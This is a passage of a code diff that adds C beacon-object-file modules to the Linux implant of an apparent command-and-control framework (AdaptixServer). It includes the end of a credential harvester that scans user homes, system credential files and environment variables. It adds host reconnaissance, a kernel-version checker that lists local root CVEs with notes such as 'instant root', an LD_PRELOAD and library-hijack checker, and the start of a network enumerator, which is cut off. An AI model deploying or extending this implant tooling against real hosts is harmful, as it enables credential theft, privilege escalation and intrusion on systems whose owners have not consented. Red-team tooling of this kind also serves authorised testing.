uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + // Skip nonexistent home dirs + unsigned int mode = 0; + if (AxFileStat(home_buf, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + scan_user_creds(home_buf, uname_buf); + } + } + + line = eol + 1; + } + AxFree(passwd); + } + + // 2. System-wide credential files + check_system_creds(); + + // 3. Environment variables + check_env_creds(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Harvest complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c new file mode 100644 index 000000000..02115a04b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c @@ -0,0 +1,309 @@ +/// host_recon.c — BOF: Host reconnaissance (system info, users, groups, login history, crontabs) +/// Compile: gcc -c -o host_recon.o host_recon.c -include bof_api.h -Os -fPIC +/// Usage: execute bof host_recon.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static void dump_file(const char *title, const char *path, int max_size) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, max_size); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", title); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void system_info(void) { + BeaconPrintf(CALLBACK_OUTPUT, "=== System Information ===\n"); + + // Hostname + char *hn = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hn, 256); + if (hn_len > 0 && hn) { + // Trim trailing newline + if (hn[hn_len - 1] == '\n') hn[hn_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Hostname: %s\n", hn); + AxFree(hn); + } + + // Domain + char *dm = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &dm, 256); + if (dm_len > 0 && dm) { + if (dm[dm_len - 1] == '\n') dm[dm_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Domain: %s\n", dm); + AxFree(dm); + } + + // Kernel + char *ver = (char *)0; + int ver_len = AxReadFileToBuffer("/proc/version", &ver, 512); + if (ver_len > 0 && ver) { + if (ver[ver_len - 1] == '\n') ver[ver_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Kernel: %s\n", ver); + AxFree(ver); + } + + // OS release + char *os = (char *)0; + int os_len = AxReadFileToBuffer("/etc/os-release", &os, 4096); + if (os_len > 0 && os) { + // Extract PRETTY_NAME + char *pn = AxStrstr(os, "PRETTY_NAME="); + if (pn) { + pn += 12; + if (*pn == '"') pn++; + char *end = AxStrchr(pn, '"'); + if (!end) end = AxStrchr(pn, '\n'); + if (end) { + char osname[256]; + int nlen = (int)(end - pn); + if (nlen > 255) nlen = 255; + AxMemcpy(osname, pn, nlen); + osname[nlen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " OS: %s\n", osname); + } + } + AxFree(os); + } + + // Uptime + char *up = (char *)0; + int up_len = AxReadFileToBuffer("/proc/uptime", &up, 128); + if (up_len > 0 && up) { + // First field is total seconds + long seconds = 0; + char *p = up; + while (*p >= '0' && *p <= '9') { + seconds = seconds * 10 + (*p - '0'); + p++; + } + long days = seconds / 86400; + long hours = (seconds % 86400) / 3600; + long mins = (seconds % 3600) / 60; + BeaconPrintf(CALLBACK_OUTPUT, " Uptime: %ldd %ldh %ldm\n", days, hours, mins); + AxFree(up); + } + + // CPU info (first processor) + char *cpu = (char *)0; + int cpu_len = AxReadFileToBuffer("/proc/cpuinfo", &cpu, 8192); + if (cpu_len > 0 && cpu) { + char *model = AxStrstr(cpu, "model name"); + if (model) { + char *colon = AxStrchr(model, ':'); + if (colon) { + colon++; + while (*colon == ' ' || *colon == '\t') colon++; + char *eol = AxStrchr(colon, '\n'); + if (eol) { + char cpuname[256]; + int clen = (int)(eol - colon); + if (clen > 255) clen = 255; + AxMemcpy(cpuname, colon, clen); + cpuname[clen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CPU: %s\n", cpuname); + } + } + } + // Count processors + int ncpu = 0; + char *search = cpu; + while ((search = AxStrstr(search, "processor")) != (char *)0) { + ncpu++; + search += 9; + } + BeaconPrintf(CALLBACK_OUTPUT, " CPU cores: %d\n", ncpu); + AxFree(cpu); + } + + // Memory + char *mem = (char *)0; + int mem_len = AxReadFileToBuffer("/proc/meminfo", &mem, 4096); + if (mem_len > 0 && mem) { + char *mt = AxStrstr(mem, "MemTotal:"); + char *mf = AxStrstr(mem, "MemAvailable:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long total = 0; + while (*mt >= '0' && *mt <= '9') { total = total * 10 + (*mt - '0'); mt++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM total: %ld MB\n", total / 1024); + } + if (mf) { + mf += 13; + while (*mf == ' ') mf++; + long avail = 0; + while (*mf >= '0' && *mf <= '9') { avail = avail * 10 + (*mf - '0'); mf++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM avail: %ld MB\n", avail / 1024); + } + AxFree(mem); + } + + // Architecture + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d\n", AxGetPid()); + BeaconPrintf(CALLBACK_OUTPUT, " UID: %d EUID: %d\n", AxGetUid(), AxGetEuid()); +} + +static void enum_users(void) { + char *passwd = (char *)0; + int len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (len <= 0 || !passwd) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Users with shell access ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + "USERNAME", "UID", "GID", "HOME", "SHELL"); + + char *line = passwd; + while (line < passwd + len) { + char *eol = line; + while (eol < passwd + len && *eol != '\n') eol++; + + // Parse: user:x:uid:gid:gecos:home:shell + char *fields[7]; + int nfields = 0; + char *fstart = line; + for (char *p = line; p <= eol && nfields < 7; p++) { + if (p == eol || *p == ':') { + fields[nfields++] = fstart; + if (p < eol) *p = '\0'; // Temporary null termination + fstart = p + 1; + } + } + + if (nfields >= 7) { + // Skip nologin/false + int skip = 0; + int shell_len = AxStrlen(fields[6]); + if (shell_len >= 7 && AxStrncmp(fields[6] + shell_len - 7, "nologin", 7) == 0) skip = 1; + if (shell_len >= 5 && AxStrncmp(fields[6] + shell_len - 5, "false", 5) == 0) skip = 1; + if (AxStrcmp(fields[6], "/bin/sync") == 0) skip = 1; + + if (!skip) { + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + fields[0], fields[2], fields[3], fields[5], fields[6]); + } + } + + // Restore colons (not strictly needed since we own the buffer) + line = eol + 1; + } + AxFree(passwd); +} + +static void enum_groups(void) { + char *groups = (char *)0; + int len = AxReadFileToBuffer("/etc/group", &groups, 524288); + if (len <= 0 || !groups) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Groups with members ===\n"); + + char *line = groups; + while (line < groups + len) { + char *eol = line; + while (eol < groups + len && *eol != '\n') eol++; + + // group:x:gid:member1,member2 + // Find last colon + char *last_colon = eol; + int colons = 0; + for (char *p = line; p < eol; p++) { + if (*p == ':') { last_colon = p; colons++; } + } + + if (colons >= 3 && last_colon + 1 < eol) { + // Has members — show this group + char gline[512]; + int glen = (int)(eol - line); + if (glen > 511) glen = 511; + AxMemcpy(gline, line, glen); + gline[glen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gline); + } + + line = eol + 1; + } + AxFree(groups); +} + +static void enum_crontabs(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Crontabs ===\n"); + + // System crontab + char *crontab = (char *)0; + int ct_len = AxReadFileToBuffer("/etc/crontab", &crontab, 65536); + if (ct_len > 0 && crontab) { + BeaconPrintf(CALLBACK_OUTPUT, " [/etc/crontab]\n"); + // Show non-comment lines + char *line = crontab; + while (line < crontab + ct_len) { + char *eol = line; + while (eol < crontab + ct_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char *s = line; + while (s < eol && (*s == ' ' || *s == '\t')) s++; + if (s < eol) { + char lbuf[512]; + int ll = (int)(eol - line); + if (ll > 511) ll = 511; + AxMemcpy(lbuf, line, ll); + lbuf[ll] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(crontab); + } + + // /etc/cron.d/ + int dirfd = AxOpenDir("/etc/cron.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/cron.d/%s", entry->d_name); + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", fpath); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Host reconnaissance\n\n"); + + system_info(); + enum_users(); + enum_groups(); + enum_crontabs(); + + // Login shells + dump_file("Available shells", "/etc/shells", 4096); + + // Timezone + dump_file("Timezone", "/etc/timezone", 128); + + // Machine ID + dump_file("Machine ID", "/etc/machine-id", 128); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Host recon complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c new file mode 100644 index 000000000..5318f1169 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c @@ -0,0 +1,251 @@ +/// kernel_exploit_check.c — BOF: Check kernel version against known privilege escalation CVEs +/// Compile: gcc -c -o kernel_exploit_check.o kernel_exploit_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof kernel_exploit_check.o + +typedef struct { + const char *cve; + const char *name; + int min_major, min_minor, min_patch; + int max_major, max_minor, max_patch; + const char *note; +} kernel_cve_t; + +static const kernel_cve_t kernel_cves[] = { + // DirtyPipe + {"CVE-2022-0847", "DirtyPipe", 5, 8, 0, 5, 16, 10, + "Arbitrary file overwrite via pipe — instant root. Fixed in 5.16.11, 5.15.25, 5.10.102"}, + // DirtyCow + {"CVE-2016-5195", "DirtyCow", 2, 6, 22, 4, 8, 2, + "Race condition in COW — write to read-only mappings. Fixed in 4.8.3"}, + // Sequoia (size_t overflow in seq_file) + {"CVE-2021-33909", "Sequoia", 3, 16, 0, 5, 13, 3, + "size_t overflow in filesystem layer — path length exploitation. Fixed in 5.13.4"}, + // Polkit pkexec + {"CVE-2021-4034", "PwnKit (pkexec)", 0, 0, 0, 99, 99, 99, + "Not kernel but pkexec — affects nearly all Linux distros. Check: ls -la /usr/bin/pkexec"}, + // Netfilter nf_tables + {"CVE-2022-32250", "nf_tables UAF", 5, 8, 0, 5, 18, 0, + "Use-after-free in nf_tables — local privesc. Fixed in 5.18.1"}, + // io_uring + {"CVE-2022-29582", "io_uring UAF", 5, 10, 0, 5, 17, 2, + "io_uring fixed file use-after-free — requires io_uring access. Fixed in 5.17.3"}, + // Dirty Cred + {"CVE-2022-2588", "DirtyCred (route4)", 4, 4, 0, 5, 19, 0, + "route4 filter UAF — swap unprivileged creds. Fixed in 5.19.1"}, + // OverlayFS (multiple) + {"CVE-2023-0386", "OverlayFS privesc", 5, 11, 0, 6, 2, 0, + "OverlayFS setuid copy-up bypass — mount ns + FUSE. Fixed in 6.2"}, + // StackRot + {"CVE-2023-3269", "StackRot", 6, 1, 0, 6, 4, 0, + "Maple tree RCU UAF — VMA write via stack expansion. Fixed in 6.4.1"}, + // nftables (2023) + {"CVE-2023-32233", "nftables batch UAF", 5, 1, 0, 6, 3, 1, + "Nftables anonymous set UAF — requires CAP_NET_ADMIN. Fixed in 6.3.2"}, + // GameOver(lay) + {"CVE-2023-2640", "GameOver(lay)", 5, 15, 0, 6, 4, 0, + "Ubuntu-specific OverlayFS — setxattr on overlayfs grants caps. Ubuntu only."}, + // Looney Tunables (glibc) + {"CVE-2023-4911", "Looney Tunables", 0, 0, 0, 99, 99, 99, + "glibc GLIBC_TUNABLES buffer overflow — not kernel but local root. Check glibc version."}, + // netfilter nf_tables 2024 + {"CVE-2024-1086", "nf_tables double-free", 5, 14, 0, 6, 7, 1, + "nf_verdict double-free — reliable local root. Fixed in 6.7.2. Public exploit available."}, + // io_uring 2024 + {"CVE-2024-0582", "io_uring PBUF ring", 6, 4, 0, 6, 7, 0, + "io_uring provided buffer ring mmap UAF. Fixed in 6.7"}, + // Sentinel + {(const char *)0, (const char *)0, 0,0,0, 0,0,0, (const char *)0} +}; + +static int parse_kernel_version(const char *str, int *major, int *minor, int *patch) { + *major = *minor = *patch = 0; + + // Parse major + while (*str >= '0' && *str <= '9') { + *major = *major * 10 + (*str - '0'); + str++; + } + if (*str != '.') return -1; + str++; + + // Parse minor + while (*str >= '0' && *str <= '9') { + *minor = *minor * 10 + (*str - '0'); + str++; + } + if (*str == '.') { + str++; + // Parse patch + while (*str >= '0' && *str <= '9') { + *patch = *patch * 10 + (*str - '0'); + str++; + } + } + + return 0; +} + +// Compare versions: -1 if a < b, 0 if a == b, 1 if a > b +static int version_compare(int maj_a, int min_a, int pat_a, + int maj_b, int min_b, int pat_b) { + if (maj_a != maj_b) return (maj_a < maj_b) ? -1 : 1; + if (min_a != min_b) return (min_a < min_b) ? -1 : 1; + if (pat_a != pat_b) return (pat_a < pat_b) ? -1 : 1; + return 0; +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Kernel exploit checker\n\n"); + + // 1. Read kernel version + char *version_str = (char *)0; + int vlen = AxReadFileToBuffer("/proc/version", &version_str, 4096); + if (vlen <= 0 || !version_str) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /proc/version\n"); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "=== Kernel ===\n"); + BeaconOutput(CALLBACK_OUTPUT, version_str, vlen); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + + // Extract version number — find "Linux version X.Y.Z" + char *ver_start = AxStrstr(version_str, "Linux version "); + int major = 0, minor = 0, patch = 0; + if (ver_start) { + ver_start += 14; // skip "Linux version " + parse_kernel_version(ver_start, &major, &minor, &patch); + } else { + // Try direct parse + parse_kernel_version(version_str, &major, &minor, &patch); + } + AxFree(version_str); + + BeaconPrintf(CALLBACK_OUTPUT, "Parsed version: %d.%d.%d\n\n", major, minor, patch); + + if (major == 0 && minor == 0 && patch == 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to parse kernel version\n"); + return; + } + + // 2. Check against CVE database + BeaconPrintf(CALLBACK_OUTPUT, "=== Potential CVEs ===\n"); + int vulnerable = 0; + + for (int i = 0; kernel_cves[i].cve; i++) { + int in_range = + (version_compare(major, minor, patch, + kernel_cves[i].min_major, kernel_cves[i].min_minor, kernel_cves[i].min_patch) >= 0) && + (version_compare(major, minor, patch, + kernel_cves[i].max_major, kernel_cves[i].max_minor, kernel_cves[i].max_patch) <= 0); + + if (in_range) { + BeaconPrintf(CALLBACK_OUTPUT, "[!!] %s — %s\n", kernel_cves[i].cve, kernel_cves[i].name); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n\n", kernel_cves[i].note); + vulnerable++; + } + } + + if (vulnerable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no matching CVEs for kernel %d.%d.%d)\n", major, minor, patch); + } + + // 3. Additional system info for manual analysis + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System info ===\n"); + + // Distribution info + const char *dist_files[] = { + "/etc/os-release", "/etc/lsb-release", "/etc/redhat-release", + "/etc/debian_version", (const char *)0 + }; + + for (int i = 0; dist_files[i]; i++) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(dist_files[i], &data, 4096); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "%s:\n", dist_files[i]); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + break; // Only show first found + } + } + + // Check security features + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Security features ===\n"); + + // SELinux + char *selinux = (char *)0; + int se_len = AxReadFileToBuffer("/sys/fs/selinux/enforce", &selinux, 64); + if (se_len > 0 && selinux) { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: %s\n", + selinux[0] == '1' ? "enforcing" : "permissive/disabled"); + AxFree(selinux); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: not present\n"); + } + + // AppArmor + char *apparmor = (char *)0; + int aa_len = AxReadFileToBuffer("/sys/kernel/security/apparmor/profiles", &apparmor, 4096); + if (aa_len > 0 && apparmor) { + // Count profiles + int profiles = 0; + for (int i = 0; i < aa_len; i++) { + if (apparmor[i] == '\n') profiles++; + } + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: active (%d profiles)\n", profiles); + AxFree(apparmor); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: not present\n"); + } + + // ASLR + char *aslr = (char *)0; + int aslr_len = AxReadFileToBuffer("/proc/sys/kernel/randomize_va_space", &aslr, 64); + if (aslr_len > 0 && aslr) { + int level = aslr[0] - '0'; + const char *aslr_desc = "unknown"; + if (level == 0) aslr_desc = "disabled"; + else if (level == 1) aslr_desc = "partial"; + else if (level == 2) aslr_desc = "full"; + BeaconPrintf(CALLBACK_OUTPUT, " ASLR: %s (%d)\n", aslr_desc, level); + AxFree(aslr); + } + + // Check if unprivileged BPF is allowed + char *bpf = (char *)0; + int bpf_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_bpf_disabled", &bpf, 64); + if (bpf_len > 0 && bpf) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged BPF: %s\n", + bpf[0] == '0' ? "ALLOWED (attack surface)" : "disabled"); + AxFree(bpf); + } + + // Check unprivileged user namespaces + char *userns = (char *)0; + int userns_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_userns_clone", &userns, 64); + if (userns_len > 0 && userns) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged user namespaces: %s\n", + userns[0] == '1' ? "ALLOWED (enables many exploits)" : "disabled"); + AxFree(userns); + } + + // kptr_restrict + char *kptr = (char *)0; + int kptr_len = AxReadFileToBuffer("/proc/sys/kernel/kptr_restrict", &kptr, 64); + if (kptr_len > 0 && kptr) { + BeaconPrintf(CALLBACK_OUTPUT, " kptr_restrict: %c\n", kptr[0]); + AxFree(kptr); + } + + // dmesg_restrict + char *dmesg = (char *)0; + int dmesg_len = AxReadFileToBuffer("/proc/sys/kernel/dmesg_restrict", &dmesg, 64); + if (dmesg_len > 0 && dmesg) { + BeaconPrintf(CALLBACK_OUTPUT, " dmesg_restrict: %c\n", dmesg[0]); + AxFree(dmesg); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Check complete — %d potential CVE(s)\n", vulnerable); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c new file mode 100644 index 000000000..35c49d127 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c @@ -0,0 +1,257 @@ +/// ld_preload_check.c — BOF: Check for LD_PRELOAD hooks, /etc/ld.so.preload, rogue shared libs +/// Compile: gcc -c -o ld_preload_check.o ld_preload_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ld_preload_check.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void check_ld_preload_env(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_PRELOAD environment variable ===\n"); + + // Check our own process + char val[1024]; + if (AxGetEnv("LD_PRELOAD", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Current process: LD_PRELOAD=%s\n", val); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set in current process\n"); + } + + // Scan all processes for LD_PRELOAD + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Scanning all processes for LD_PRELOAD ===\n"); + int found = 0; + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/environ", pid); + + char *env = (char *)0; + int env_len = AxReadFileToBuffer(path, &env, 65536); + if (env_len > 0 && env) { + // Search for LD_PRELOAD= in null-separated environ + int epos = 0; + while (epos < env_len) { + char *entry_str = env + epos; + int elen = 0; + while (epos + elen < env_len && entry_str[elen] != '\0') elen++; + + if (elen > 11 && AxStrncmp(entry_str, "LD_PRELOAD=", 11) == 0) { + // Get process name + char pname[128]; + pname[0] = '\0'; + char spath[128]; + AxSnprintf(spath, sizeof(spath), "/proc/%d/comm", pid); + char *comm = (char *)0; + int clen = AxReadFileToBuffer(spath, &comm, 128); + if (clen > 0 && comm) { + if (comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + AxStrcpy(pname, comm); + AxFree(comm); + } + + char preload_val[512]; + int vlen = elen - 11; + if (vlen > 511) vlen = 511; + AxMemcpy(preload_val, entry_str + 11, vlen); + preload_val[vlen] = '\0'; + + BeaconPrintf(CALLBACK_OUTPUT, + " [!!] PID %-6d (%s): LD_PRELOAD=%s\n", + pid, pname, preload_val); + found++; + break; + } + epos += elen + 1; + } + AxFree(env); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No processes with LD_PRELOAD\n"); + } +} + +static void check_ld_so_preload(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.preload ===\n"); + + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/ld.so.preload", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] /etc/ld.so.preload EXISTS — global preload active!\n"); + + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + char lbuf[512]; + if (llen > 511) llen = 511; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + + // Check if library exists + unsigned int mode = 0; + long fsize = 0; + int exists = (AxFileStat(lbuf, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0); + + BeaconPrintf(CALLBACK_OUTPUT, " [PRELOAD] %s (%s, %ld bytes)\n", + lbuf, exists ? "exists" : "MISSING", fsize); + } + line = eol + 1; + } + AxFree(data); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] /etc/ld.so.preload does not exist (normal)\n"); + } +} + +static void check_ld_library_path(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_LIBRARY_PATH ===\n"); + + char val[2048]; + if (AxGetEnv("LD_LIBRARY_PATH", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] LD_LIBRARY_PATH=%s\n", val); + BeaconPrintf(CALLBACK_OUTPUT, " (non-standard library search paths — potential hijack vector)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set\n"); + } +} + +static void check_ld_so_conf(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.conf + /etc/ld.so.conf.d/ ===\n"); + + char *conf = (char *)0; + int conf_len = AxReadFileToBuffer("/etc/ld.so.conf", &conf, 8192); + if (conf_len > 0 && conf) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/ld.so.conf:\n"); + char *line = conf; + while (line < conf + conf_len) { + char *eol = line; + while (eol < conf + conf_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + line = eol + 1; + } + AxFree(conf); + } + + // Scan /etc/ld.so.conf.d/ + int dirfd = AxOpenDir("/etc/ld.so.conf.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/ld.so.conf.d/%s", entry->d_name); + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(fpath, &fdata, 4096); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, " %s:\n", fpath); + char *fl = fdata; + while (fl < fdata + flen) { + char *feol = fl; + while (feol < fdata + flen && *feol != '\n') feol++; + int fllen = (int)(feol - fl); + if (fllen > 0 && fl[0] != '#') { + char flbuf[256]; + if (fllen > 255) fllen = 255; + AxMemcpy(flbuf, fl, fllen); + flbuf[fllen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", flbuf); + } + fl = feol + 1; + } + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +static void check_rpath_abuse(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Writable library directories ===\n"); + + // Check if any standard lib dirs are writable + const char *lib_dirs[] = { + "/lib", "/lib64", "/usr/lib", "/usr/lib64", + "/usr/local/lib", "/usr/local/lib64", + (const char *)0 + }; + + int writable = 0; + for (int i = 0; lib_dirs[i]; i++) { + unsigned int mode = 0; + if (AxFileStat(lib_dirs[i], &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + // Check world-writable (or our uid writable) + if (mode & 002) { // world-writable + BeaconPrintf(CALLBACK_OUTPUT, " [!!] %s is world-writable!\n", lib_dirs[i]); + writable++; + } + } + } + + if (writable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Standard library directories are properly protected\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] LD_PRELOAD / shared library hook analysis\n"); + + check_ld_preload_env(); + check_ld_so_preload(); + check_ld_library_path(); + check_ld_so_conf(); + check_rpath_abuse(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] LD analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c new file mode 100644 index 000000000..3e1a552bf --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c @@ -0,0 +1,238 @@ +/// net_enum.c — BOF: Network enumeration (interfaces, routes, ARP, DNS, connections) +/// Compile: gcc -c -o net_enum.o net_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof net_enum.o + +static void dump_file_section(const char *title, const char *path) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 131072); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s (%s) ===\n", title, path); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void parse_hex_ip(const char *hex, char *out, int out_size) { + // Parse hex IP like "0100007F" → "127.0.0.1" (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && hex[i]; i++) { + unsigned int nibble = 0; + char c = hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + // Convert from network byte order (stored in little-endian hex) + AxSnprintf(out, out_size, "%d.%d.%d.%d", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF); +} + +static int hex_to_int(const char *s, int len) { + int val = 0; + for (int i = 0; i < len && s[i]; i++) { + unsigned int nibble = 0; + char c = s[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + val = (val << 4) | nibble; + } + return val; +} + +static const char *tcp_state_str(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; 